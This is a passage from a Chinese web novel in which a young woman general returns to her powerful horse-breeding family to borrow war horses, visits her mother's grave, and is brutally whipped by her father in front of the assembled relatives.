“琛儿,你现在是当少将的人了,架子得大些,这些小事叫你的亲兵来做,不要处处累着自己。”
云琛哑然失笑,很想说“你要不要听听自己多双标?”
知道山寂是对她好,她并不出言反驳,而是聊起彼此近况。
在得知山寂真的杀了掌门,谋权篡位做了新掌门,并已将整个无义血卫迁来楠国时,云琛忍不住咋舌:
“你小心些,可别让其他血卫有样学样,惦记你的掌门之位。”
山寂从鼻子里冷哼一声,“一个霍乾念可以与一个血卫打平手吧?”
云琛点头称是。
山寂便道:“我可以单挑二百个霍乾念,明白了吗?”
云琛无语:“额……你好像很讨厌阿念,**都要用他作计量单位嘛……”
似乎没兴趣继续聊“霍乾念”,山寂问:
“找我是要杀焦左泰吗?哪天要他人头?你说。”
云琛正端着杯子喝茶,差点一口水喷出来。
山寂这话仿佛在问她:“喜欢隔壁村那只小狗不?我一会儿把他狗头拿来?”
云琛咳嗽两声,“没有没有……我是想杀焦左泰,也必杀他,但不是现在。”
焦左泰之罪罄竹难书。
虽然已经半年时间过去,可云琛总是在夜里梦见丹蔻,妙妙……梦见那个血迹斑驳的伙房,里面冒着滚滚热气的大锅子,还有焦左泰狠辣阴毒的笑容。
在黑鳞骑兵的一幕幕,已成了她心里最深的阴影,无论专注忙军务时,还是与霍乾念耳鬓厮磨时,她总会不自觉地突然回想起那些画面。
所有人只知道焦左泰杀俘虏吃俘虏,云琛偷防布图时不幸被抓,也差点丢了性命。
没人知道焦左泰如何用丹蔻等一众烟城百姓的命,狠狠戏耍了她一番。
她曾在无数个深夜反反复复问自己,如果当时不去刺杀焦左泰,如果在丹蔻被剥光衣服的时候,焦左泰数着一二三逼她出来的时候,她立马就站出来。
那么丹蔻,丹蔻的弟弟,妙妙,那么多烟城老百姓,还会死吗?
大约还是会的。
焦左泰早就疑心名册之事,有奸细混入,也早认出她,从一开始就打定主意要从心理上折磨她。
即使已知道焦左泰的恶毒用意,可愧疚、羞耻、后悔……还是像沼泽一样深深又牢牢困着她的心。
很长时间以来,她都耻于任何愉悦的情绪,哪怕露出一个笑容,都要觉得自己残忍背义。
她做梦都想将焦左泰千刀万剐。
可如今已做了主将,手下领了兵,云琛深知,想于数十万重兵之中取
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敌方主将性命,是多么难如登天。
她不能为一己之恨,要山寂以身犯险。
况且**焦左泰又如何,撺掇三国同时进犯楠国的幕后主使尚不明确,**的黑鳞骑兵还在,被敌军占据的国土未还……
除恶不尽,几乎等于助长其嚣张气焰。
所以,她坚信,总有一天,她会与焦左泰于战场狭路相逢,叫他明明白白死在她的手里。
事关军务机密,云琛不能多说,只道:
“我们如今与黑鳞骑兵对峙僵持,难以强攻固英城,很大一个原因是我们没有像黑鳞骑兵那样训练有素的骑兵部队。”
顿了顿,云琛声音暗下,神色也变得晦暗:
“我们缺战马。”
这下山寂也沉默了。
他明白狮威军如今的难处,更明白云琛的困境。
想了想,他说:“我替你去幽州走一趟。你既已对月焚烟,召唤无义血卫,我便为你办事。报酬我会找霍乾念要——不,这次算了。”
说罢,山寂立刻站起身,一副要即刻动身去办差的架势。
云琛赶忙阻拦:“无义血卫不是有门规,永久中立,绝不参与任何国战吗?”
山寂一脸满不在乎:“现在我是掌门,什么破规矩,我废了就是。”
“不妥不妥,你若管这事,就等于站队楠国,楠国的敌人立马会成为你的敌人,太危险。”
云琛坚持拒绝,山寂差点就要脱口而出“你的事就是我的事!是我们的家事!”
但不等山寂说出口,帐帘突然被掀开。
一个将士匆匆跑来,说有重大东宫令来了,请她速速前去领命。
不知为何,云琛与山寂互相对视一眼,同时在心里升起异样的预感。
快速穿戴好铠甲,云琛跑向霍乾念的主帐。
远远的,她看见主帐外黑压压一片人影。
霍乾念站在最前,知罗、荣江荣易等几十个人随后。
她跑进队列,在霍乾念身后站定。
随着传令官展开明黄色的东宫令,霍乾念等人立刻单膝跪迎。
“东宫有令:
今有我朝雄师之众,勇武坚毅,克敌制胜,有功于疆土,千秋于万民。然,兵足,马稀,无强悍骑兵无以制胜,城关不破,国土难还。故,特命尔等至幽州借马,训建骑兵,破城伐敌,卫我国民!”
传令官话音落下,霍乾念竟没有谢恩,而是直接站起身,走到云琛身边将人扶起,而后旁若无人般,用一种只有云琛懂得的眼神直直望着她。
众人惊讶。
忍着浓浓一腔酸味,知罗将规矩抛在脑后,赶紧从旁接过东宫令,恭敬问道:
“敢问大人,公主怎么突然要我们去幽州?”
传令官对于霍乾念的怠慢无礼十分不悦,冷声道:
“幽州战马天下闻名,要你们去,自然是为了借马去?你们不就是因为缺马,才止步于此,迟迟难攻固英城吗?怎么,本官方才念了半天,你们一个字都没听进去??”
“岂敢啊,我们听得可真切了!”荣易上前,亲昵地揽住传令官的肩膀,手里轻微动作,将一大包金子塞进传令官的袖口,笑道:
“大人别见怪,我们都是糙人,如有怠慢之处,您多包涵,我们一定立刻马上前往幽州,只是圣令也没说找谁去借马啊?”
传令官面色稍缓,道:“自然是去找——”
话未说完,云琛低沉的声音响起:
“幽州马王,云中君。”
第218章 女婿
幽州的百姓都知道:
天上的马是弼马温管,地上的马归云中君管。
作为楠国境内面积最大的州,幽州有着最广阔丰茂的草原、长山大谷和湖泊。
二百万顷土地通通属于一个人。
那便是曾效力于前朝八皇子的北里十八军、专司战马出身、唯一的前朝异姓王——
云中君。
楠国皇宫有两匹阿哈尔捷金马,专人饲养,极其金贵,往往要在宫宴时拉出来展示参观,十分爱惜。
可这样的马,云中君有三千匹。
什么汗血马、玉狮子、绝影骑、追风骊……
不管多稀罕名贵的马种,云家的马场里应有尽有。
贵族狩猎的马、百姓们种田的马、长途驮货的马、官衙送信的马、江湖儿女的坐骑、朝廷的战马……
甚至连以游牧为生的洛疆骑兵,都经常从云家进购马匹,一直到这几年国战打起来,云家才断然停止向其供马。
云家马场无数,马匹足有六十万之巨。
无论从土地面积,还是财力、马量,都是足以崛起立国的程度。
不过云家向来无心朝政,既不求官,也不求权,连家生护卫都没几个,完全没有囤私兵的意思,只一门心思养马,朝廷便对云家睁一只眼闭一只眼。
且马匹关系国民根本,朝廷若管,必要耗时费力,权衡占农田与保草场,还要拨专款,设众多机构和人员管理,养马最后往往都成了给贪官烧钱;
而云家经营这二百万公顷的无数马场,却井井有条、层次井然。既为州内百姓提供劳作供养,又安定富裕一方经济。
故,朝廷渐渐疏了干涉的心思,任由云家壮大马场,常常为朝廷低价供马。
至于云中君的王位,乃是由前朝所封,是前朝诸多王爷之中唯一没有皇族血脉的异姓封王。
这王位虽在本朝已不算数,但“广原王”“马王”的名号,还是为百姓津津乐道。
霍乾念猜测过很多次关于云琛的身世,他一直觉得,能逼得一个十二岁的小姑娘离家出走的,必然不是什么知礼疼人的好家门。
直到那日帐中议事,提到马匹时,看到云琛欲言又止、面色忧郁的反应,再结合过往她十分熟悉马匹性情的细节,以及她师父江鸣曾在幽州外香消崖常居的事。
他瞬间联想到赫赫有名的幽州云氏,心中惊动不已。
这才知,那家门岂是一个“好”字可以形容的,简直是声势煊赫,富室豪门。
可这也意味着,云琛自十二岁起的离家背弃,必是云家绝不能容忍的耻辱一笔。
一旦回头,云琛将要面对的,恐怕会是云中君的雷霆怒火。
且看云家统理二百万公顷领地、六十万马匹,其中牵扯多少人、财、物,却秩序尽然的本事,便知云中君不会是什么好相与的软耳根子。
霍乾念为云琛忧心忡忡,计划带十万兵力前往幽州,以作威势,或者上书恳请南璃君亲自去见云中君。
可云琛执意拒绝,只叫他安心等着就是,她要一个人回幽州。
“我到底姓‘云’,总不至于杀了我,阿念你别担心。”帐篷里,云琛将身上的铠甲穿了脱,脱了穿,一会儿散下头发,一会儿又束起来。
霍乾念瞧着她心里慌乱却强装镇定的样子,只觉得可怜又心疼,说什么也要同去,他坚定道:
“云家早就对外宣称,嫡女多年前急病过世,摆明了不会容你。琛儿,我同你一起去,不谈过往私事,只谈朝廷要借马,咱们借了就走,绝不多留。”
云琛勉强一笑,“不把‘私’谈清楚,是借不到马的,我了解我……爹……”
很久没有说过这个字,云琛叫起来很拗口。
霍乾念还想说些什么,这时,山寂掀开帐帘走进来,习惯性地瞪了一眼霍乾念,语气不善道:
“这不是你这个外人可以掺和的事,
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一边儿待着去!”说完又跟变脸大师似的,立马换了副商量的语气,温温柔柔地问云琛:
“琛儿,我同你一起去吧。”
不知为什么,山寂一说同去,云琛立马觉得心里的慌乱缓解了许多,这是霍乾念也无法带给她的一种别样的安定感。
被怼了两句,霍乾念这次彻底黑脸,拿剑指着山寂:
“来!我们去外头说!我倒要看看哪里得罪过你!今儿一次性说个清楚!”
山寂一把打开霍乾念的剑,拽住他的领子用力一拉,用很小的声音快速骂了句“蠢货!”,低声道:
“你要想掺和这事!先去了‘外人’身份再说!”
“什么意思?”霍乾念没反应过来。
山寂皱着眉头,就差把后牙槽咬碎了:
“你小子平时不是挺机灵吗,嗯?这会犯缺心眼?你要去云府,插手琛儿的家务事,那以什么身份去?狮威将军还是……”
咽了口吐沫,山寂极不情愿地撇着嘴,吐出后面两个字:
“女婿?”
霍乾念恍然大悟,登时眼睛一亮,看向山寂的眼神满是感激,亦带有几分对他身份的怀疑。
“女婿”这俩字,显然戳到霍乾念心根上了,乐得他白皙的脸颊上泛起微红,凤眸眼尾高高扬起,得意又欢喜。
山寂瞧着格外不得劲,忍不住心里抽了自己一嘴巴子:
指点这小子干啥?就该再磨他一磨,吊他个十年八年,吊到琛儿成老姑娘……哎那不行,那给我这么稀罕的妹妹耽误了。唉,怎么就要便宜霍乾念这小子?啊!妈的!好气!!
这厢,山寂在心里狂飙脏话,那厢,霍乾念呲着大牙拱手示好。
云琛则一肚子心事,完全没有注意到俩人的情绪,只听到霍乾念语调颇为愉悦地说了句“琛儿,那我不陪你去幽州了,我有别的事要办”,而后嘱咐了一大堆琐事,一溜烟小跑着去为她打点行程。
第219章 今夕花,他夕树
东宫令到达的当日,云琛即与山寂踏上幽州之行。
十月秋暖,日头温温的,并不灼人。
二人策马并肩而行,除了山寂总叫她背什么《无义秘籍下》的心法口诀,一字一句口授于她,这之外,两人一路很少说话,却很轻松自在。
云琛总有一种与山寂十分熟悉的感觉,明明儿时一起玩耍的事,她都已忘记许多。
山寂换下了那身扎眼的血红色武服,穿着一身铁青寒松色的常服,但整个人依然透着霸道与不羁的气息。
但凡行路途中遇到谁好奇注目,山寂只一个眼神过去,立马吓得对方不敢对视。
云琛不禁发笑:“飞鱼哥哥,你这架势,是来给我做护卫的吗,武器就是眼神杀?”
山寂昂起下巴,道:“当然了。这天下只有我能做好你的护卫,霍乾念那小子都差点意思。一想到堂堂幽州云氏嫡长女,给什么霍帮少主当过护卫,我就气不打一处来。”
“别气啦,做护卫是我自愿的,是以我云琛的身份,与云家无关。”云琛回答。
“嗯,我知道。”山寂点点头,接着又道:“早知道小时候不教你凫水了,那样也许你就不会进霍帮。”
没想到山寂连她当初进霍帮时,以凫水展示武艺的事,都打听过了,云琛心里很暖。
二人都想起儿时一起凫水的情景,夏天太阳最烈的时候,山寂光着膀子站在水里,一头扎进水中闭气。
一旁小小的云琛有样学样,也跟着将头伸进水里,却忘了自己满头繁复的小辫子和绢花,一沾水就重得很,直接将她坠了个倒栽葱。
头朝下,脚朝上,两只白嫩的小脚丫在空中不停挣扎。
那时候,山寂会一边哈哈大笑,一边将云琛从水里**。
回忆起小时候粉嫩得像个玉雕娃娃一样的云琛,山寂眼神愈发柔软,说:
“你从小就胆子大,不怕的,从水里捞出来,鼻子上还夹着一只小螃蟹呢,都破皮了,你也不哭。”
“那你记得这个不?”云琛举起拳头,在耳边攥动两下。
山寂立马仰头大笑起来,“哈哈哈——怎么不记得!”
有一次,山寂和云琛走在回家的路上。
云琛一身湿漉漉地走在前面,两条辫子湿透了,不停地往下淌水,在发尾**成一个小水包。
山寂跟在她身后,每走几步,就要上前攥一攥那小水包,好叫水少淌到她身上。
就这么一路走走又捏捏,正当山寂又一次去捏小水包时,云琛脚下一崴,差点掉进一个小坑里。
山寂眼疾手快,直接一把抓住云琛头发,将她整个人提起来。
云琛被揪着辫子提在半空,脸都被揪变形了,疼得小手乱舞,呲哇乱叫不停,样子好笑极了。
想到这里,山寂摸摸胳膊,心有余悸道:
“你当时疼得气坏了,抓住我就咬,怎么甩都甩不掉,我都感觉不到什么疼,光顾着吓了。”
“哈哈哈哈——”云琛忍不住笑起,忽然就想起许多儿时的趣事,开始越说越起劲。
“你记得有一次咱们去钓虾子不?我一脚滑进河里,那水特深,我呛了好多水,挣扎半天才上来,趴在岸边使劲咳嗽,嘴里吐出一只虾子,结果你非常淡定地问我——”
“‘咋了,跳下去吃,更新鲜一点吗?’哈哈哈哈哈——还有一次,你放马的时候弄丢了枣红马,我陪你找了一天一夜——”
“然后马没找到,咱俩迷路了,我肚子饿得厉害,你就抓了山鼠给我。”
“你嫌恶心,可又肚饿。一边吃,一边吐,一边吐,一边吃,还跟我说‘飞鱼哥哥——呕——吃了山鼠——呕——会不会得狂鼠疫——呕——’哈哈哈哈哈——”
两个人一起哈哈大笑。
见云琛终于开朗起来,山寂心里畅快许多。
这么一连行了十几日路,云琛与山寂说说笑笑,聊着童年趣事,倒不觉得时间长。
可一踏上幽州地界,云琛很快又变得沉郁了。
从那双干净的一览无遗的眼睛里,山寂仿佛能看见童年的阿琛在哭泣,眼里都是对父亲的怨恨,还有对那高深宅院的畏惧。
不自觉地,二人行路越来越慢。
在将抵达云府所在的广原城的时候,望着漫天乌云欲雨,云琛黯然道:
“陪我去个地方吧……”
山寂没有作声,心却蓦地收紧。
果然,云琛接着说:“离城十里有一处旧道观,我娘……埋在那里……”
一路再无话,只有阴色的天伴着哒哒马蹄声,逐渐靠近一座老旧古朴的道观。
道观四周立满枝繁叶茂的秋海棠树,开着一簇簇热烈又温柔的海棠花,是极其罕见的褪蓝色。
道观不远处,一个小小的土包前,一块样式简单的墓碑静静立着,上刻:
慈亲沈悠宁。
立这墓碑的时候,云琛只有十二岁,不会写字,也没怎么读过书,还是观里道长手把手教着,才描完石碑。
如今,十一年风吹日晒,岁月侵蚀,石碑已有些缺损破角,上面的字也渐渐模糊了。
云琛和山寂注意到,虽然石碑旧了,但母亲的坟前却十分整洁,还插着几支新鲜的灵芝草,一看就是常有人照顾打理。
两人不语,整理头发和衣衫,郑重在坟前跪下。
望着母亲的名字,一瞬间,所有前尘往事都涌上心头。
儿时的一幕幕委屈、愤怒、恐惧,母亲常年哭泣的容颜、垂死时灰白色的脸,全都浮现在眼前。
云琛无声地落泪。
山寂眼眶湿润,亦在心里默默地说:
“娘,孩儿不孝,十一年了,这才来看你……”
闷闷一声雷响,秋风带来末季最后一场雨。
细雨绵绵滴落在两个年轻人的脸庞,柔柔的,痒痒的,似乎生怕雨滴会打痛脸,那么温柔又爱怜。
云琛记得,娘从来都很疼爱她,总是将她捧在手心一般宠着,连大声训斥都没有过。
娘总是给她做新衣,梳繁复精致的小辫子,帮她瞒着爹,偷偷放她出去玩耍。
不论玩得多疯多累,只要一
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回去看见娘温柔慈爱的脸,感受娘亲温暖的手掌抚在额头,吃着娘早早准备好的牛乳燕窝,小小的云琛便觉整个童年都是明媚的。
而山寂则记得,自己那赌鬼爹终于将家里所有值钱的东西都卖掉了,还欠了一屁股债。
终于,爹将贪婪的目光落在小小的山寂身上,爹说,这次赌把大的,押上儿子,一定“一把翻本”。
记忆中,那么温柔的娘亲第一次发疯,母狮子一般发狂,扑上来紧紧抱住小小的山寂,哭喊道:
“要赌就拿我吧!别碰儿子!”
于是,娘替子,做赌注。
只一刻钟的功夫,那赌鬼爹便将娘输给了一个青楼走货的人伢子。
山寂永远忘不了那一天,几个大汉冲进他们小小又破落的家,毫不留情地将娘往外拖。
娘的木钗掉了,头发散了,粗布衣裙也脏了,可他那赌鬼爹却低着头坐在一旁,连看都不看一眼。
娘亲被拖出院子,小小的山寂追出去,跟在后面哭。
追啊,追啊……
一直到娘亲被拖上远处的主路,塞上马车,山寂都没有追上。
后来,山寂听说,一个年轻又壮硕的男人,押运着黑压压看不到尽头的高头大马,只拿着一根粗粗的马鞭子,便将几个汉子抽打得鬼哭狼嚎,救下了一位娘子。
再后来,娘亲成了豪门贵府里,那最温柔洁净的云夫人。
从此,山寂那赌鬼爹只要拉着山寂站在云府门前,就会有银子偷偷递出来。
原以为有银子便有安生日子,可惜吸血的水蛭是不会知足的。
在他那赌鬼爹醉酒闹上云府的那一日,娘亲多年如履薄冰终究枉然。
二嫁为人妇的真相、偷盗府中钱财的秘密,以及不堪回首的过往,叫娘亲和云琛一起跌落神坛。
最后,娘亲**,云琛走了。
山寂甚至都没机会知道娘埋在哪里。
不知站了多久,“吱呀——”一声开门响,将云琛和山寂从回忆里叫醒。
一个面容清癯的老道士,背着捆灵芝草走出道观,看云琛和山寂的眼神,像是瞧着两个等待已久的朋友一样,语气平常地问了句:
“来了啊?”
不用说,这墓能如此整洁,必是老道士多年悉心照看。
云琛擦干眼泪,吸吸鼻子,道:
“谢谢道长照顾我娘亲的墓……我想给娘亲重新立个碑。”
老道士望着置身海棠花海、身披褪蓝色落花的墓碑,道:
“没必要,我瞧她这样挺自在的。”
她。
老道士不说坟墓,只像介绍一位朋友一样说“她”。
山寂又道:“那我捐些金子,给道观修缮,以作答谢。”
老道士摇头,“若是为了答谢,就别给了;若是捐香火,进观里直走右拐上山,多少随缘。”
许是看出云琛和山寂都一脸愧悔,那心结难解模样,老道士又说:
“你们一人种一棵树留下吧,总有一日,树会参天,待亭亭如盖之日,便能替你们为她遮风挡雨了。”
第220章 记忆
简单商量后,云琛叫山寂留在道观等她,不必与她同去云家。
一来,他能扔下偌大的无义血卫不管,专程陪她回家一趟,已经相当够义气了;
二来,她觉得山寂与她非亲非故,若这样一个又高又帅的大男人与她并肩踏进家门,不知要闹出什么误会,还得费许多口舌解释。
山寂原本不同意,坚持与她同去。
可云琛安慰他不要紧,说只是回家挨骂而已,又不会要了她性命,另外还请他闲时帮忙买些祭奠用品,过两日她好去拜祭娘亲。
这几个理由加起来,山寂也没办法拒绝了。
云琛独自进入广原城。
黄昏落日,熟悉的街道与小巷扑面而来,却比记忆中的样子矮了许多,小旧了许多。
仿佛十一年来,只有她在长大,这城池除了老去,再无其他变化。
经过儿时喜欢吃的糖水铺子,当年风姿绰约的厨娘,如今已体态丰腴,笑起来时,眼角全是温柔的皱纹;
街角卖花的老奶奶更老了,满头银发,但怀里的花却一如往昔艳丽。
云琛一身铠甲戎装,策马徐徐过街。
满身英武之气,加上俊俏阴柔的出挑相貌,立刻引来不少人张望。
有人叹道:
“好俊的小将军!”
“是呢,这么年轻就当将军了,厉害!”
“往云府方向去了,提亲去吗?”
“咋可能,云家二公子、三小姐、四小姐,全都成家了,没有待嫁的姑娘。”
“不是还有个嫡长女吗?”
“听说早病**。不过也有人说是失踪了。大家族嘛,总有些见不得人的腌臜事。”
伴着人们好奇的目光和议论声,云琛径直来到云府大门口。
她翻身下马,望着那高耸冰冷的黑岩大门,只觉得同记忆中一样充满压迫。
她犹豫着是去敲正门呢,还是敲偏门?
是正大光明地走进去报上姓名,还是悄悄翻墙跳进去好?
总之,不引人注目最好。
否则见到她的人越多,什么云家嫡长女病死的谎言就越兜不住。
云中君必然觉得丢人,就会对她越有气。
深吸一口气,云琛将饮血剑卸下,屠狼驹拴好,准备找个地方翻墙。
谁知她刚迈开一步,云府大门忽然打开,几个仆从鱼贯而出,泼出四五桶清水,开始刷洗大门和石阶。
一个中年男人背着手走出门,一边指点仆从们刷洗,一边望了云琛一眼。
一眼。
又一眼。
然后整个人震在原地,目瞪口呆,结结巴巴地试探道:
“大……大……大小姐???”
翻墙计划失败。无奈,云琛只能走上前,摘下束发的发箍,一头青丝垂下,顿显几分女儿态。
她微微弯唇,语气带着两分玩笑:
“云琛见过大管家——久叔,我回来了。”
简直听不懂人话一般,张久之足足愣了半天,才能一字一句地理解云琛说出的每一个字。
他不可思议地怔怔看着云琛,直到泪水涌上眼眶,才颤抖着对一旁愣神的仆从道:
“快……快去禀报老爷……大、大小姐回来了……大小姐回来了!!”
不等云琛出言阻止,两个腿脚麻利的仆从已连滚带爬地朝中堂跑去。
一边跑,一边还鬼哭狼嚎地不停大喊:
“大小姐回来了!!”
“大小姐回来了——”
“哎别……”云琛暗暗叹口气,照这架势,她想要低调去见云中君,看来是不可能了。
而张久之望着那张几乎和云夫人一模一样的脸,激动得语无伦次:
“我左眼皮跳了半个月!我就知道有天大的好事要发生!大小姐你回来了!回来就好……就好!”
云琛重新束好头发,安慰地笑笑,随张久之往这偌大府邸的深处而去。
一路上,仆从和侍女们全都停下手中的活,好奇地看向她——
这个十几年没有出现过,只存在于云中君最忌讳的心结里的人。
也有几个和张久之同样激动又饱含热泪的眼神在其中,云琛一一回望,只认得一个自小照顾她的老妈子,其他人都已记不清。
深深的宅院,一道又一道门。
到处都是云家标志性的黑岩石装饰,显得格外沉重逼人。
走到前厅,云琛瞧见大厅内外摆满了檀木圆桌,上面已是残羹冷炙,但仍看得出昂贵的菜式。仆从们正忙碌其中打扫刷洗。
厅门内外到处装饰着金箔红绸,前厅里堆满了各式锦缎包裹的雕花礼盒。看起
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来像是刚刚结束了一场热闹的宴席。
云琛正在心里猜想是什么事,让府里起了这么大宴席,就听张久之在旁边抹了把眼泪,高兴道:
“大小姐,您是回来给老爷过寿的吧?真好!老爷一定高兴坏了!”
“……”
云琛头皮一麻,尴尬地笑了一下。
她根本不记得云中君的生日,却偏偏挑了这日子回来触他的霉头。
穿过前厅和大院,云琛缓缓走向中堂。
远远地,她看见堂内乌泱泱坐着一大圈人,全都翘首朝她望来。
张久之道:“老爷和宗亲们刚用完晚宴,这会子正在吃酒说话呢。大小姐来得正好,刚好能一块见了,省得以后还得逐一上门拜访。”
显然,张久之不仅以为云琛是来给云中君过寿的,还认为云琛这次回来会长住。
还宗亲们都在?很好,横竖看,云琛都像是特意挑这亲戚朋友人最多的日子,来犯云中君煞的。
云琛硬着头皮往前走。
张久之高兴地大喊一句:“老爷!大小姐回来了!”
云琛随即跨步迈进堂门。
顿时哗啦一声,堂内一大半人都站了起来。
云琛几乎都不认识,只感觉到每个人的目光都充满好奇和震惊,看得她颇不自在。
她抬眼朝高座望去,左边是云中君的继妻——也是当年横**云中君与沈悠宁之间的小妾白氏。
她仍是一副柔弱惜惜的模样,正以帕捂面,眼泪汪汪地望着云琛。
高座之右,是仍体型壮硕、气势不减当年的云中君。
和十三年前不同,云中君如今蓄了胡子,叫云琛看着十分陌生,不觉盯了那胡须很久,似乎很难将他和童年印象中的“父亲”联系起来。
似乎是饮了许多酒的缘故,云中君面颊泛红,两眼也有些发红。
云琛站定堂中,所有人直直看着她,没有人说话。
一时间,堂内鸦雀无声。
直到白氏啜泣起来,才终于打破这令人尴尬的气氛。
“大小姐……你……你……终于……回来了……”白氏哭得几乎说不出话来。
云中君盯着云琛一身铠甲和男子束发,咬了咬牙,抬手将一个茶杯狠狠砸向云琛,怒道:
“孽障!跪下!!”
第221章 家法处置
“孽障!跪下!!”
茶杯直直朝脑袋飞来,云琛没有躲,“咣”一下砸在额头上,立马肿起个大包。
云中君一发话,堂内立马像洪水开闸似的,轰地爆发出各种声音。
有白氏的哭声,有张久之的劝解,有一众宗亲的探问,还有云琛不太相熟的大伯和三叔坐在一旁,愤怒地向云琛发出斥责:
“你还知道回来?堂堂云氏嫡女!大闹灵堂!盗取嫡母灵体!畏罪逃离!实在可恶!”
“瞧瞧这什么样子?!女扮男装?还穿着铠甲?威风给谁看!高门贵女都是大门不出二门不迈!瞧瞧你如今这样!实实败坏云氏门风!”
“大逆不道!有辱门楣!这传出去要云氏以后怎么见人!你潇洒在外!现在牛气冲天地回来了!可知今后你的弟弟妹妹们在外怎么做人!会被怎样嘲笑家门!”
“若搅得你弟弟妹妹们和离了!害你的侄儿们将来说不上亲!你承担得起吗?!”
“早就听说有个什么玄都护卫叫‘云琛’!还以为是重名!原来真是你这无法无天的混账!现在看来,除你出族谱,属实没有冤枉你!”
“实在可恶!自私自利!简直是我云氏奇耻大辱!!”
“一个女子女扮男装!必是成日在外与男子花天酒地厮混!不要脸的东西!”
长辈们越骂越难听,白氏也越哭越大声。
各种难听话一股脑地往云琛身上泼,云中君并不阻止,只咬牙切齿地对张久之道:
“去取我的马鞭来!”
张久之脸色一慌,赶忙劝阻,却更惹得云中君暴怒,直接一把掀翻手边几案,暴喝道:
“取鞭子来!!”
这洪钟一声炸起,立刻压得堂内众多声音小了下去。
云琛那些叔伯婶婶们,顿时截住越说越过分的话头,一副等着看好戏的样子。
这时,一个气质文雅的年轻男子跨出两步,对云中君道:
“爹,琛姐姐长途劳顿而来,还是先让琛姐姐歇息一番吧!况且琛姐姐身着将军铠甲,属朝廷命官,您不可......”
年轻男子话未说话,就被云琛的大伯打断,呵斥道:
“将军?朝廷知道她女扮男装吗?欺骗东宫是死罪!不连累我们就不错了!有何顾忌?!”
云琛的三叔也道:“就是!再大的官也大不过天地父母!进了家门就是家规族法说了算!”
此时,张久之已取来马鞭,攥在手里,迟迟不愿给云中君。
云中君直接一把夺过,不顾一旁白氏的阻拦,大步走下高座,直冲云琛走去。
那方才说话的年轻男子急了,赶忙上去阻拦,并焦急地回头对云琛使眼色:
“琛姐姐!你是不是担着什么朝廷差事呢!快说!”
云琛对视上,是一张年轻温润又着急的脸,陌生,却很快与记忆中的人重合。
是白氏的儿子,云望。
云琛明白云望的意思,她如今穿着铠甲,等于带着军衔,除了她的上级和东宫,任何人不能轻易对她动手,否则可以按律法处置。
但云中君已走到云琛面前,仍旧是张没有一丝柔软与疼爱、充满怒意的脸。
云琛紧紧抿着嘴,一语不发,开始解铠甲的锁扣。
这一动作登时惹得满堂哗然。
云琛将铠甲脱下,“咣当”扔在一旁,只穿着一身单衣,直挺挺地跪下。
看着她摆明不服软的意思,云中君攥紧手里的鞭子,连道几声“好好好”,随即高扬马鞭,狠狠抽过去。
“啪——”一鞭子落在云琛小腿肚子上,鞭痕立刻高高肿起,鲜血缓缓氤透雪白的单衣,泛上刺目的鲜红。
这下,原本嘈杂的中堂,彻底安静下来。
那些个叫着严惩云琛,要将云琛逐出云氏的宗亲们,也全都愣了,不敢再说话。
那蛇皮缠绕的马鞭比两指还粗,比棕树皮还坚韧。
但打下去是轻轻带过还是皮开肉绽,全靠拿鞭子的人控制力道。
谁也没想到,云中君这样下狠手。
一鞭子下去,云琛登时疼得脸色一白,冷汗从额头上冒了出来。
“啪——”又狠狠一鞭,又是一道殷红血迹。
云中君咬着牙挥动手里的马鞭,怒问:
“你娘呢?埋在哪里了?!”
云琛虽跪着,却梗着脖子,仰起头,一字一
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句道:
“不知道!”
此言一出,云中君彻底暴怒,瞬间将家法处置族中女子时,只责打小腿的规矩抛之脑后,一脚将云琛踹倒,然后劈头盖脸地打起来。
马鞭子凌空作响,不带停歇地狠狠挥舞,抽得云琛浑身血痕,脸上都挨了一下。
可云琛仍旧没有一句服软,没有一声呼痛,竟还在暴雨般的鞭打中强撑起身,继续直挺挺地跪起。
这下连那些宗亲叔伯们都心悸了。
果然,见云琛如此,云中君简直怒不可遏,完全失去理智,再次一脚将云琛踹翻,狠狠抽打不止。
云琛一次次跪起身,云中君便一次次将她踹倒,抽打得更加用力。
打到最后,那名贵百金、抽打起来连烈马都受不了的马鞭子,已有松动脱皮的迹象,云中君却仍没有要停手的意思,仿佛已陷入愤怒癫狂。
云琛被打得浑身冒血,从衣服破碎的地方可以看到,每一处都是皮开肉绽,一道摞着一道。
最后,就连原本还责骂云琛的叔伯们都看不下去了,赶忙上来相劝。
“再这样打下去必要出人命的!你歇一歇!”
“别打了!犯不着气坏自己身子!停下!停下!
云中君一把推开,完全不听劝阻。
直到白氏扑上来,用身子挡在云琛身前,云中君的鞭子才终于停住。
白氏扑在云中君的胳膊上,紧紧抱着那染血的马鞭,泪流满面地悲泣:
“老爷......求你看在已过世沈姐姐的份上,别打了......沈姐姐在天有灵,若瞧见大小姐这样受罪,只怕不得安息......”
云中君已打得疲累,气喘吁吁,却还试图将白氏推开,颤抖着手,指向云琛:
“你问问这个孽障可记得自己母亲,可知道她母亲孤零零埋在外面苦不苦?!孽障!我今日一定要打死她!”
说着,云中君又要上前继续打,白氏再也忍不住,直接大叫一声“老爷!你到底让我如何活啊!”而后一把抱住云琛,竟是要替云琛挨罚的架势。
这一下,云琛终于支撑不住,被白氏一把扑倒,晕**过去。
第222章 低徊愧人子,不敢叹风尘
孩子总是天生爱父母。
父母也是天然爱着孩子吗?
从昏迷中醒来,云琛闻见那熟悉的,腐朽的,勾起她记忆深处不安的马麝香烛气味。
不用睁开眼睛,她就知道这是云府的祠堂。
在儿时父亲不喜她之后,她便成了祠堂罚跪的常客。
无数个夜晚,她都是缩在蒲团上,在昏暗的烛火里,在一排排灵位交织投射的阴影里哭着入睡。
十一年过去了,她又一次回到这里。
浑身钻心地痛,衣服粘在绽裂的鞭痕伤口上,让她稍微一动都疼得直冒汗。
她没力气起身,也不想起,只静静地蜷缩在蒲团上,听着门外的吵闹声。
似乎是云中君亲自挡在门口,不让任何人进。
白氏苦苦哀求:“老爷,让府医给大小姐诊治吧,大小姐实在伤得太重了,拖下去会高热的......”
云望也劝道:“爹,琛姐姐如今好歹是朝廷命官,您这样实在不妥,恐有擅自拘禁官员之嫌,请您三思!”
白氏又哭起来:“老爷,过去的事情就让它过去吧,没有什么比孩子平安回来更重要......已经十一年了,人一辈子能有几个‘十一年’......莫要再伤你们的父女情分啊......”
云中君丝毫不为所动,只对张久之道:
“去告诉各位宗亲,就说我要惩治这个孽障,请各位再留府几日与会宗法。将府中所有门关起来,所有人都待在各自院子里,无令不得出入!”
张久之惊愣:“老爷,无事闭门大大不吉啊!今日还是您的寿辰呢……”
云中君冷笑一声,反问:“无事?家门出了这样的孽障还叫无事?!我云中君养出这样一个东西,应当早点下地府去跟祖宗谢罪,还过什么生辰?速去!”
